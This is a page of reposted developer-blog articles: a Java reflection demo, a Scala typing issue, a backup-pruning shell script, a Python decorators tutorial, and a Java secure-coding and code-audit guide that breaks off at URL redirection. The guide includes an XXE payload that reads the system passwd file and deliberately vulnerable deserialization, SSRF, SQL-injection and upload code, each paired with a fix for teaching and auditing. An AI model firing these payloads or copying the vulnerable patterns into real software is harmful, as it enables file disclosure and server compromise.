开发者博客 – 和开发相关的 这里全都有

Java笔记-反射机制(三)-小demo

发表于 2017-12-09

经过前面几次反射机制的学习,这次用反射的知识写一个类似于Struts框架处理机制的小demo。

Servlet 和 Sturts

在引入反射知识前,先简单介绍下Sturts框架和Servlet。
在没有一些Web框架之前,当我们要写Java Web应用使用的就是Servlet。一个简单的Servletdemo就是如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
复制代码public class HelloWorld extends HttpServlet {

private String message;

public void init() throws ServletException {
message = "Hello World";
}

public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<h1>" + message + "</h1>");
}

public void destroy() {
}
}

servlet会提供出来doGet和doPost,同时接收用户传入的参数,进行业务处理,再返回视图。那么Servlet如何与URL对应起来呢,答案就是在web.xml,绑定servlet和url之间的映射关系。

1
2
3
4
5
6
7
8
9
复制代码<servlet>
<servlet-name>HelloWorld</servlet-name>
<servlet-class>HelloWorld</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>HelloWorld</servlet-name>
<url-pattern>/HelloWorld</url-pattern>
</servlet-mapping>

映射、业务逻辑处理、视图返回全部在servlet中完成,耦合度比较高,随着url的增多,servlet会越来越多,需要在web.xml配置很多映射关系,不利于维护。同时servlet的入参以及返回的参数很依赖于当前运行的容器,本身也是线程不安全的,当入参非常多时,需要多次调用getParm方法,代码很冗余。
之后Struts框架诞生,通过统一的ActionServlet处理具体的url请求和参数映射以及根据不同的返回结果跳转不同的视图,开发者只需要关心自己的业务逻辑,就可以实现web应用的开发。具体的Struts的配置文件,大致如下面XML所示。

1
2
3
4
5
6
7
8
9
10
11
复制代码<?xml version="1.0" encoding="UTF-8"?>
<struts>
<action name="login" class="com.coderising.kailuncen.LoginAction">
<result name="success">/jsp/homepage.jsp</result>
<result name="fail">/jsp/showLogin.jsp</result>
</action>
<action name="logout" class="com.coderising.kailuncen.LogoutAction">
<result name="success">/jsp/welcome.jsp</result>
<result name="error">/jsp/error.jsp</result>
</action>
</struts>

我们只需要分别实现视图和业务逻辑,再通过struts将他们绑定起来,就可以完成开发工作,也更便于理解,方便维护。有兴趣的读者可以自行深入学习下servlet和struts的思想。

小demo

我想写的小demo就是利用读取xml,利用反射加载不同的action,进行业务逻辑处理,最后输出返回的视图,整个逻辑思路还是比较简单,纯当反射学习的练手。
首先是定义配置类,把xml中action对应的映射关系保存下来

1
2
3
4
复制代码private class ActionConfig {
private String name;
private String className;
private Map<String, String> viewResult = new HashMap<>();

当初始化读取xml完毕后,得到如下结构,action的名字对应着具体的action配置

1
复制代码Map<String, ActionConfig> actionConfigMap = new HashMap<>();

模拟Struts ActionServlet的运作方式

1
2
3
4
5
6
7
8
9
10
11
12
13
复制代码public View runAction(String actionName, Map<String, String> params) {
String className = cfg.getClassName(actionName);
if (className == null) {
return null;
}
try {
Class<?> clz = Class.forName(className);
Object action = clz.newInstance();
ReflectionUtil.invokeSetMethods(action, params);
String resultName = (String) clz.getDeclaredMethod("execute").invoke(action);
Map<String, Object> result = ReflectionUtil.invokeGetMethods(action);
String resultView = cfg.getViewResult(actionName, resultName);
return new View(resultView, result);

通过actionName从配置类中拿到具体的执行类的全类名,其实Struts框架就是直接解析url,然后对应到xml配置的对应action名称,将url和具体的执行类绑定在一起。
之后是使用Class.forName创建类类型,然后创建对应的实例。ReflectionUtil里面做的事情就是,先获取action中对应的field的Name,然后从变量中,根据filed名称找对应的值,然后使用set方法对action的field进行赋值操作,就是LoginAction中的相关信息。

1
2
3
4
复制代码public class LoginAction {
private String name;
private String password;
private String message;

这一步就省去了使用servlet时,重复去get赋值的繁琐操作,利用反射机制,直接对成员变量进行赋值,开发者只需要将前端会传入的参数名称和后端类中的名称做好事先的确认即可。
然后就是通过反射调用execute方法,使用了Method.invoke方法。再次使用反射获取field的最新值,组成map返回,同时根据方法的返回值,去actionConfigMap中获取对应的view。
最后根据field的返回值map和view的名称组成最终展示的视图。

结尾

以上其实就是根据反射知识模仿的struts核心运行流程的小demo,整个web框架处理了非常多的其他的事情比如参数映射,安全,Json处理等,如果有兴趣,可以进一步做学习。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

scala模式匹配的一个问题

发表于 2017-12-09

最近开始用scala做一些工作。

scala和java可以说同源同种,而我上一次写java程序可能要追溯到快十年前了。平常习惯使用弱类型语言,突然间切到scala,还有点不太适应。最近碰到的这个小问题,就耗费掉我不少时间。


大概场景是有两份数据left和right,需要对他们做一次全连接(fullOuterJoin),然后对于得到的结果,优先选择left中的数据,left中的数据不存在则选择right中的数据。示意如下:

1
2
3
4
5
6
7
8
9
10
11
复制代码scala> val left = sc.makeRDD(Seq(("1","2","LEFT12"),("2","3","LEFT23")))
left: org.apache.spark.rdd.RDD[(String, String, String)] = ParallelCollectionRDD[0] at makeRDD at <console>:24

scala> val right = sc.makeRDD(Seq(("1","2","RIGHT12"),("3","4","RIGHT34")))
right: org.apache.spark.rdd.RDD[(String, String, String)] = ParallelCollectionRDD[1] at makeRDD at <console>:24

scala> val leftmap = left.map(x => (x._1, x._2) -> x._3)
leftmap: org.apache.spark.rdd.RDD[((String, String), String)] = MapPartitionsRDD[2] at map at <console>:26

scala> val rightmap = right.map(x => (x._1, x._2) -> x._3)
rightmap: org.apache.spark.rdd.RDD[((String, String), String)] = MapPartitionsRDD[3] at map at <console>:26

接下进行fullOuterJoin,查看文档后得到,fullOuterJoin返回的结果是两个Option组成的元组。感谢scala的模式匹配,可以避免写一大堆if else,以下代码看上去很美好:

1
2
3
4
5
6
7
8
9
10
11
复制代码scala> val total = leftmap.fullOuterJoin(rightmap).map(kv =>
| kv._2 match {
| case (Some(s), None) => s
| case (None, Some(s)) => s
| case (Some(s), Some(t)) => s
| case _ => None
| })
total: org.apache.spark.rdd.RDD[java.io.Serializable] = MapPartitionsRDD[11] at map at <console>:32

scala> total.collect()
res3: Array[java.io.Serializable] = Array(RIGHT34, LEFT12, LEFT23)

但是返回值java.io.Serializable是什么鬼?这类型和我后续要把数据落地的接口不匹配,后续工作无法进行啊。

翻看过各种Stack Overflow上的问答,各种java.io.serializable的搜索结果,最终才弄明白,原因是scala的模式匹配语句match的返回值类型是各个case字句返回值类型的最近公共父类。这里的问题就出在case _ => None这一句,None类型和s的类型,导致最终scala找到java.io.serializable。

再做个试验验证下,比如这样的模式匹配:

1
2
3
4
5
6
7
复制代码scala> val total = leftmap.fullOuterJoin(rightmap).map(kv =>
| kv._2 match {
| case (Some(s), None) => 1
| case (None, Some(s)) => 2
| case (Some(s), Some(t)) => 1
| case _ => ""
| })

返回类型将是整型和字符串类型的公共父类Any类型:

1
复制代码total: org.apache.spark.rdd.RDD[Any] = MapPartitionsRDD[19] at map at <console>:32

解决方案也很简单,既然我知道我要的就是字符串,那么最后一个case子句返回空字符串:

1
2
3
4
5
6
7
8
9
10
11
复制代码scala> val total = leftmap.fullOuterJoin(rightmap).map(kv =>
| kv._2 match {
| case (Some(s), None) => s
| case (None, Some(s)) => s
| case (Some(s), Some(t)) => s
| case _ => ""
| })
total: org.apache.spark.rdd.RDD[String] = MapPartitionsRDD[15] at map at <console>:32

scala> total.collect()
res4: Array[String] = Array(RIGHT34, LEFT12, LEFT23)

对于scala/spark,我还是萌新一枚,有什么说的不准确的地方,也欢迎各位大佬留言批评指正~


推荐阅读:

Python协程:从yield/send到async/await/
打通Python和C++
待业青年

转载请注明出处: blog.guoyb.com/2017/12/09/…

欢迎使用微信扫描下方二维码,关注我的微信公众号TechTalking,技术·生活·思考:
后端技术小黑屋后端技术小黑屋

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

线上问题解决及shell脚本实现自动保留最近n次备份记录 项

发表于 2017-12-08

项目中出现的问题

某天上午服务器出现卡顿特别严重,页面加载速度奇慢,并且某些页面刷新出现404的问题,就连服务器的tab命令的自动提示都出现了问题,楼主费了九牛二虎之力,根据服务器排查发现,服务器数据盘出现100%被占用的问题,导致该问题出现的原因是,Jenkins每次部署服务器的时候,都会自动将上一次的war备份,由于开发阶段的频繁部署,最终硬盘被占满,便出现上述描述的情况。

解决方案的实现过程

获取备份文件夹下的所有文件

根据Google爸爸的提示,楼主找到了下面的命令,

1
复制代码find 对应目录 -mtime +天数 -name "文件名" -exec rm -rf {} \;

实例命令:

1
复制代码find /opt/soft/log/ -mtime +30 -name "*.log" -exec rm -rf {} \;

说明:

将/opt/soft/log/目录下所有30天前带”.log”的文件删除。

具体参数说明如下:

find:linux的查找命令,用户查找指定条件的文件;
/opt/soft/log/:想要进行清理的任意目录;
-mtime:标准语句写法;
+30:查找30天前的文件,这里用数字代表天数;
“ ×.log”:希望查找的数据类型,”×.jpg”表示查找扩展名为jpg的所有文件,”×”表示查找所有文件,这个可以灵活运用,举一反三;
-exec:固定写法;
rm -rf:强制删除文件,包括目录;
{} ; :固定写法,一对大括号+空格++;

解决问题的思路:

当然楼主当然不能傻乎乎的将备份目录下的所有文件都删除掉,这样的话,备份不就失去了意义。
所以换一下思路便有了下面的命令

1
复制代码find ${BAK_HOME} -mtime +1 -name "*:*" | wc -l

说明:

获取备份目录下所有一天前带”:”的所有文件数量。

1
复制代码find ${BAK_HOME} -mtime +1 -name "*:*"

说明:

获取备份目录下所有一天前带”:”的所有文件数量。

到了这里我们的问题差不多就可以解决了。so,请接着往下看:

解决方案的思路及shell脚本的实现

思路

目前解决该问题的方法是在原来部署脚本中添加一段脚本,实现保留最近10次部署的备份记录,超过10次的备份记录将被删除.

shell脚本的实现

逻辑很清晰,思路很明了,我就不在这里接着阐述了,谢谢大家!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
复制代码#!/bin/sh
BAK_HOME="/home/saveHistoryData/iam-share-8083"

keepNum=5
fileNum=$(find ${BAK_HOME} -mtime +1 -name "*:*" | wc -l)

echo "${fileNum}"

for file in $(find ${BAK_HOME} -mtime +1 -name "*:*"); do
if test $[fileNum] -gt $[keepNum];then
rm -rf ${file}
fileNum=${fileNum}-1
echo "delete backup file"
else
echo "do no thing"
fi
done

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

从头开始学习Python装饰器 Python Decorat

发表于 2017-12-08

Python Decorators From the Ground Up

Decorators are your friends. Despite this they tend to be seen as a rather obscure feature and are often left horribly neglected. In this post I will show you that decorators don’t need to be complicated and that, when used correctly, can become
your MVP in many situations.

I won’t just tell you what decorators are, but rather build a bottom up journey where we assemble a decorator from scratch, step by step. I’ll visit the different ideas that make up the decorator idiom and the specific issues they aim to solve.
Hopefully by the end of your reading you will be able to identify the scenarios where decorators excel and the reason they became part of the python language.

Let’s begin with a very realistic example:

The Algorithm of Love

Imagine you are working on a dating platform that lets users find hot singles in their area. Your matching algorithm, based on some vague search criteria, is able to retrieve perfect matches from the user registry:

1
2
3
4
5
6
7
8
复制代码import time

def hottie_lookup(search_criteria):
print('Querying hotties database...')
search_results = []
#Simulate patended algorithm to find hot singles in your area
time.sleep(2)
return search_results

In no time your platform becomes very popular. Even though people really seem love it, you have heard some complaints about long response times. You decide to measure the execution time of your love algorithm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
复制代码import time

def hottie_lookup(search_criteria):

current_time = time.time()

print('Querying hotties database...')
search_results = []
time.sleep(2)
#Simulate patended algorithm to find hot singles in your area

print("Request took {:.1f}s".format(time.time()-current_time))

return search_results

After the great success you decide that it would be useful to gather some usage statistics: What are the most popular searching criteria (besides hotness off course)? What are the most popular singles in town?

For this you decide to log every received request and its corresponding response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
复制代码import time

def hottie_lookup(search_criteria):

print("Request was made:", search_criteria)
current_time = time.time()

print('Querying hotties database...')
search_results = []
#Simulate patented algorithm to find hot singles in your area
time.sleep(2)

print("Request took {:.1f}s".format(time.time()-current_time))
print("Matching entries found:", search_results)

return search_results

Your matching algorithm works so well that the majority of your users found their true love, and, as your analytics show, a clear decay in traffic is evident. You meditate on this and discover that your algorithm could be generalized to solve
other kinds of matching problems, such as finding the more skilful gardeners in town:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
复制代码import time

def gardener_lookup(search_criteria):

print("Request was made", search_criteria)
current_time = time.time()

print('Querying gardeners database...')
search_results = []
#Simulate patended algorithm to find skillful gardeners in town
time.sleep(2)

print("Request took {:.1f}s".format(time.time()-current_time))
print("Matching entries found:", search_results)

return search_results

Perfect! You can now use your magical matching solution for the sake of perfectly mowed lawns and less awkward family gatherings. Now, is this the best way of solving this? not really, there are a few issues with this design:

Code Duplication

It’s clear that in our services, hotties and gardeners search, functionality has to be replicated: both need to be timed and logged. This is bad, since every time we need to add a new service the same stuff needs to be reimplemented.

Image that we receive the requirement to authenticate users before each database lookup, then we would then need to implement user authenticaion in every single service. What if we had a few dozen services? Embarrassing.

Single Responsibility Principle

In our functions, which are supposed to run awesome ranking algorithms to retrieve perfect matches from the database, we are suddenly measuring time and persisting analytics. Our functions are polluted, have several reasons to change and break
the single responsibility principle. Shame.

Wrapper Functions

Clearly polluting our lookup functions with extra functionality isn’t the best idea. But, how can we time our functions while leaving them unchanged? Maybe we can wrap them inside another function:

1
2
3
4
5
6
7
8
复制代码import time

def hottie_lookup_timed(search_criteria):
current_time = time.time()
# Call original unchanged hottie_lookup
search_results = hottie_lookup(search_criteria)
print("Request took {:.1f}s".format(time.time()-current_time))
return search_results

Is this better? well, kinda, at least hottie_lookup() doesn’t need to worry about measuring execution time anymore. But what about request and response logging? we could write a wrapper function of our wrapper function dawg:

1
2
3
4
5
复制代码def hotties_lookup_logged(search_criteria):
print("Request was made:", search_criteria)
search_results = hottie_lookup_timed(search_criteria)
print("Matching entries found:", search_results)
return search_results

Awesome! Now hottie_lookup() is back to its original implementation and free of extra work.

All we need to do now is search/replace all calls to hottie_lookup() with hotties_lookup_logged(), so that every time the service is executed the wrapper function is called instead. Sure, but if we want to add an extra
wrapper? Then we would need to rename all function calls again :/. Sure we can do better.

Functions Are First Class Citizens

By enclosing our lookup functions inside a wrapper, we were able to perform timing and logging by leaving the original implementations unchanged. This is a step in the right direction, but there are still some issues to solve.

First off all, we completely forgot about the gardener search, that function needs to be decorated as well! Sure we can repeat the same trick, but we would end up having two functions, gardener_lookup_timed() and a gardener_lookup_logged() that would be practically the same their hottie search versions. What if we want to log the time in milliseconds instead of seconds? We would need to change two implementations.

What do we do in this cases? We generalize! Python is a very democratic language, where functions have the same rights as any other value, so why not just write a single timer wrapper function that receives the function to be timed as parameter?

1
2
3
4
5
6
7
8
9
复制代码import time

def timer(func):
def inner_func(search_criteria):
current_time = time.time()
result = func(search_criteria)
print("Request took {:.1f}s".format(time.time()-current_time))
return result
return inner_func

Wow wow slow down, what happened here? Yes, it looks complex, but it really isn’t that complicated once we have dissected it.

Decorators take advantage of how functions are implemented in python. Have you ever heard of classes and objects? well in python functions are just that, objects. This means that functions can be passed as arguments to another functions and returned
as any other value. Once you have understood this the snippet above becomes much more digestible.

A decorator is a function that receives a function and returns a function. Think about it this way: we are decorating, we are supposed to receive something, add some extra stuff to it and return the same thing we received. But,
what exactly is returned? The wrapper function from last section! All decorators do is create a wrapper function and return it.

This new “trick” is so awesome that we can write our hottie_lookup_timed() and gardener_lookup_timed() like this:

1
2
复制代码hottie_lookup_timed = timer(hottie_lookup)
gardener_lookup_timed = timer(gardener_lookup)

Do you see it? our timer decorator takes our original function, adds a timer around it, and returns it. And most importantly: timing functionality exists in a single place and can be used to time any function we want. Do we have to log
time in milliseconds? Sure, a single modification to our timer decorator will do.

Let’s make a test with our new hotties_lookup_timed() function with some very popular search criteria:

1
2
3
复制代码>>> hotties_lookup_timed(['latino', 'computer scientist'])
Querying hotties database...
Request took 2.0 seconds

Perfect! Our function is timed and the decorator seems to be working.

Naturally the same technique can be applied to construct a single logging decorator.

Generalizing with \args* and \*kwargs*

The timer decorator we wrote works, but only if we are decorating a function that receives a single argument. What if in the future we need to decorate a function that receives no arguments? That wouldn’t work with the current implementation,
as our inner function declares one argument.

The problem here is that we are making assumptions on the function to be decorated.

For this reason, in case your decorators don’t need to know anything about the decorated function, it is standard practice to define our inner function with variable arguments and propagate them to the input function:

1
2
3
4
5
6
7
8
复制代码import time
def timer(func):
def inner_func(*args, **kwargs):
current_time = time.time()
result = func(*args, **kwargs)
print("Request took {:.1f}s".format(time.time()-current_time))
return result
return inner_func

Don’t let python’s \args* and \*kwargs* scare you away. All we did was define a function that can receive an arbitrary number of arguments, both keyworded and non-keyworded. For example, you can do this: inner_func(8),
or this: inner_func(city='Munich', state='Bavaria'). You then propagate all your arguments to func, that’s it.

By using \args* and \*kwargs*, our decorators can decorate arbitrary functions as we no longer need to know beforehand the arguments they declare.

Leaving Callers Unchanged

We were able to decorate our hotties_lookup() and gardeners_lookup() with a shared timer decorator. But are we completely happy? not really, we still have the problem mentioned before: callers of our functions need to
be changed, as hotties_lookup_timed() needs to be called instead of hotties_search(). But remember, functions are objects, we can just assign them to other variables, so why not just reassign the original implementations?

1
2
复制代码hotties_lookup = timer(hotties_lookup)
gardeners_lookup = timer(gardeners_lookup)

We just replaced our original hotties_lookup() with its decorated version. This means that callers no longer need to be changed, since hotties_lookup() now points to the timed (a.k.a decorated) version:

1
2
3
复制代码>>> hotties_search(['latino', 'computer scientist'])
Querying hotties database...
Request took 2.0 seconds

This idiom is so common that it has its own built-in language syntax.

The expression:

1
复制代码hotties_lookup = timer(hotties_lookup)

is equivalent to:

1
2
3
复制代码@timer
def hotties_lookup(search_criteria):
pass

Putting It All Together

Now we are happy. Here the entire implementation:

First we write the decorators we need:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
复制代码import time

def logger(func):
def inner_func(search_criteria):
print("Request has made with criteria:", search_criteria)
result = func(search_criteria)
print("Matching entries found:", result)
return result
return inner_func

def timer(func):
def inner_func(search_criteria):
current_time = time.time()
result = func(search_criteria)
print("Request took {:.1f}s".format(time.time()-current_time))
return result
return inner_func

Then we decorate our functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
复制代码@logger
@timer
def hottie_lookup(search_criteria):
print('Querying hotties database...')
search_results = []
#Simulate patended algorithm to find hottes singles in your area
time.sleep(2)
return search_results

@logger
@timer
def gardener_lookup(search_criteria):
print('Querying gardeners database...')
search_results = []
#Simulate patended algorithm to find skilful gardeners in town
time.sleep(2)
return search_results
1
2
3
4
5
6
7
8
9
10
11
复制代码>>> hotties_lookup(['latino', 'computer scientist'])
Request has made with criteria: ['latino', 'computer scientist']
Querying hotties database...
Request took 2.0s
Matching entries found: []

>>> gardeners_lookup(['bush sculpture', 'semilegal botany'])
Request has made with criteria: ['bush sculpture', 'semilegal botany']
Querying gardeners database...
Request took 2.0s
Matching entries found: []

Voila. That’s it. We have covered the basics of python decorators and hopefully you are now convinced of how simple and useful they are. This is not the end of it, though, there is more stuff you can do with decorators. Most importantly, you can
add extra generalization to your decorators by passing arguments to them:

1
2
3
4
5
6
7
复制代码@time('seconds')
def hottie_lookup(search_criteria):
pass

@time('milliseconds')
def gardener_lookup(search_criteria):
pass

Here, for instance, we wrote a generic timer decorator that receives the time unit to measure as argument. This lets us time the hottie lookup in seconds and the gardener lookup in milliseconds, all by using a single decorator. Decorators with
arguments are out of the scope of this post, but if you are curious and have liked this post, leave me a comment and maybe I’ll write a follow up post.

Wrapping Up

  • Decorators receive a function and returned a wrapped version of it

  • Decorated functions or methods don’t change: decorators can only append or prepend functionality

  • Decoration is transparent to callers: original function calls are replaced by decorated versions

  • Decorators avoid code duplication: decorating functionality resides in a single place

  • Decorators are reusable: decorate several functions with single decorator

  • Decorators are flexible: combine decorators as you wish, you can even decorate decorators!

  • Use \args* and \*kwargs* to write generic decorators that can decorate arbitrary functions

    Written on November 29, 2017

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

JAVA安全编码与代码审计

发表于 2017-12-08

JAVA安全编码与代码审计

概述

本文重点介绍JAVA安全编码与代码审计基础知识,会以漏洞及安全编码示例的方式介绍JAVA代码中常见Web漏洞的形成及相应的修复方案,同时对一些常见的漏洞函数进行例举。

XXE

介绍

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。文档类型定义(DTD)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

  • 内部声明DTD:
  • 引用外部DTD:

当允许引用外部实体时,恶意攻击者即可构造恶意内容访问服务器资源,如读取passwd文件:

1
2
3
4
复制代码<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY test SYSTEM "file:///ect/passwd">]>
<msg>&test;</msg>
漏洞示例

此处以org.dom4j.io.SAXReader为例,仅展示部分代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
复制代码`String xmldata = request.getParameter("data");`
SAXReader sax=new SAXReader();//创建一个SAXReader对象
Document document=sax.read(new ByteArrayInputStream(xmldata.getBytes()));//获取document对象,如果文档无节点,则会抛出Exception提前结束
Element root=document.getRootElement();//获取根节点
List rowList = root.selectNodes("//msg");
Iterator<?> iter1 = rowList.iterator();
if (iter1.hasNext()) {
Element beanNode = (Element) iter1.next();
modelMap.put("success",true);
modelMap.put("resp",beanNode.getTextTrim());
}
...
审计函数

XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可留意下XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
复制代码`javax.xml.parsers.DocumentBuilder`
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader 
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource 
javax.xml.transform.TransformerFactory 
javax.xml.transform.sax.SAXTransformerFactory 
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
...
修复方案

使用XML解析器时需要设置其属性,禁止使用外部实体,以上例中SAXReader为例,安全的使用方式如下:

1
2
3
复制代码`sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);`
sax.setFeature("http://xml.org/sax/features/external-general-entities", false);
sax.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

其它XML解析器的安全使用可参考OWASP XML External Entity (XXE) Prevention Cheat Sheet

反序列化漏洞

介绍

序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

漏洞示例

漏洞代码示例如下:

1
2
3
4
5
6
7
复制代码......
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢复对象
ois.readObject();
ois.close();

上述代码中,程序读取输入流并将其反序列化为对象。此时可查看项目工程中是否引入可利用的commons-collections 3.1、commons-fileupload 1.3.1等第三方库,即可构造特定反序列化对象实现任意代码执行。相关三方库及利用工具可参考ysoserial、marshalsec。

审计函数

反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:

1
2
3
4
5
6
7
8
复制代码`ObjectInputStream.readObject`
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...
修复方案

如果可以明确反序列化对象类的则可在反序列化时设置白名单,对于一些只提供接口的库则可使用黑名单设置不允许被反序列化类或者提供设置白名单的接口,可通过Hook函数resolveClass来校验反序列化的类从而实现白名单校验,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
复制代码public class AntObjectInputStream extends ObjectInputStream{
public AntObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}

/**
* 只允许反序列化SerialObject class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}

也可以使用Apache Commons IO Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制,如果使用的是第三方库则升级到最新版本。更多修复方案可参考浅谈Java反序列化漏洞修复方案。

SSRF

介绍

SSRF形成的原因大都是由于代码中提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤与限制。比如从指定URL链接获取图片、下载等。

漏洞示例

此处以HttpURLConnection为例,示例代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
复制代码	String url = request.getParameter("picurl");
StringBuffer response = new StringBuffer();

URL pic = new URL(url);
HttpURLConnection con = (HttpURLConnection) pic.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
modelMap.put("resp",response.toString());
return "getimg.htm";
审计函数

程序中发起HTTP请求操作一般在获取远程图片、页面分享收藏等业务场景,在代码审计时可重点关注一些HTTP请求操作函数,如下:

1
2
3
4
5
6
复制代码`HttpClient.execute`
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
...
修复方案
  • 使用白名单校验HTTP请求url地址
  • 避免将请求响应及错误信息返回给用户
  • 禁用不需要的协议及限制请求端口,仅仅允许http和https请求等

SQLi

介绍

注入攻击的本质,是程序把用户输入的数据当做代码执行。这里有两个关键条件,第一是用户能够控制输入;第二是用户输入的数据被拼接到要执行的代码中从而被执行。sql注入漏洞则是程序将用户输入数据拼接到了sql语句中,从而攻击者即可构造、改变sql语义从而进行攻击。

漏洞示例

此处以Mybatis框架为例,示例sql片段如下:

1
复制代码select * from books where id= ${id}

对于Mybatis框架下SQL注入漏洞的审计可参考Mybatis框架下SQL注入漏洞面面观

修复方案

Mybatis框架SQL语句安全写法应使用#{},避免使用动态拼接形式${},ibatis则使用#变量#。安全写法如下:

1
复制代码`select * from books where id= #{id}`

文件上传漏洞

介绍

文件上传过程中,通常因为未校验上传文件后缀类型,导致用户可上传jsp等一些webshell文件。代码审计时可重点关注对上传文件类型是否有足够安全的校验,以及是否限制文件大小等。

漏洞示例

此处以MultipartFile为例,示例代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
复制代码	public String handleFileUpload(MultipartFile file){
String fileName = file.getOriginalFilename();
if (fileName==null) {
return "file is error";
}
String filePath = "/static/images/uploads/"+fileName;
if (!file.isEmpty()) {
try {
byte[] bytes = file.getBytes();
BufferedOutputStream stream =
new BufferedOutputStream(new FileOutputStream(new File(filePath)));
stream.write(bytes);
stream.close();
return "OK";
} catch (Exception e) {
return e.getMessage();
}
} else {
return "You failed to upload " + file.getOriginalFilename() + " because the file was empty.";
}
}
审计函数

java程序中涉及到文件上传的函数,比如:

1
2
复制代码`MultipartFile`
...
修复方案
  • 使用白名单校验上传文件类型、大小限制

Autobinding

介绍

Autobinding-自动绑定漏洞,根据不同语言/框架,该漏洞有几个不同的叫法,如下:

  • Mass Assignment: Ruby on Rails, NodeJS
  • Autobinding: Spring MVC, ASP.NET MVC
  • Object injection: PHP(对象注入、反序列化漏洞)

软件框架有时允许开发人员自动将HTTP请求参数绑定到程序代码变量或对象中,从而使开发人员更容易地使用该框架。这里攻击者就可以利用这种方法通过构造http请求,将请求参数绑定到对象上,当代码逻辑使用该对象参数时就可能产生一些不可预料的结果。

漏洞示例

示例代码以ZeroNights-HackQuest-2016的demo为例,把示例中的justiceleague程序运行起来,可以看到这个应用菜单栏有about,reg,Sign up,Forgot password这4个页面组成。我们关注的点是密码找回功能,即怎么样绕过安全问题验证并找回密码。

1)首先看reset方法,把不影响代码逻辑的删掉。这样更简洁易懂:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
复制代码`@Controller`
@SessionAttributes("user")
public class ResetPasswordController {

private UserService userService;
...
@RequestMapping(value = "/reset", method = RequestMethod.POST)
public String resetHandler(@RequestParam String username, Model model) {
User user = userService.findByName(username);
if (user == null) {
return "reset";
}
model.addAttribute("user", user);
return "redirect: resetQuestion";
}

这里从参数获取username并检查有没有这个用户,如果有则把这个user对象放到Model中。因为这个Controller使用了@SessionAttributes(“user”),所以同时也会自动把user对象放到session中。然后跳转到resetQuestion密码找回安全问题校验页面。

2)resetQuestion密码找回安全问题校验页面有resetViewQuestionHandler这个方法展现

1
2
3
4
5
复制代码`@RequestMapping(value = "/resetQuestion", method = RequestMethod.GET)`
public String resetViewQuestionHandler(@ModelAttribute User user) {
logger.info("Welcome resetQuestion ! " + user);
return "resetQuestion";
}

这里使用了@ModelAttribute User user,实际上这里是从session中获取user对象。但存在问题是如果在请求中添加user对象的成员变量时则会更改user对象对应成员的值。 所以当我们给resetQuestionHandler发送GET请求的时候可以添加“answer=hehe”参数,这样就可以给session中的对象赋值,将原本密码找回的安全问题答案修改成“hehe”。这样在最后一步校验安全问题时即可验证成功并找回密码

审计函数

这种漏洞一般在比较多步骤的流程中出现,比如转账、找密等场景,也可重点留意几个注解如下:

1
2
3
复制代码`@SessionAttributes`
@ModelAttribute
...

更多信息可参考Spring MVC Autobinding漏洞实例初窥

修复方案

Spring MVC中可以使用@InitBinder注解,通过WebDataBinder的方法setAllowedFields、setDisallowedFields设置允许或不允许绑定的参数。

URL重定向

介绍

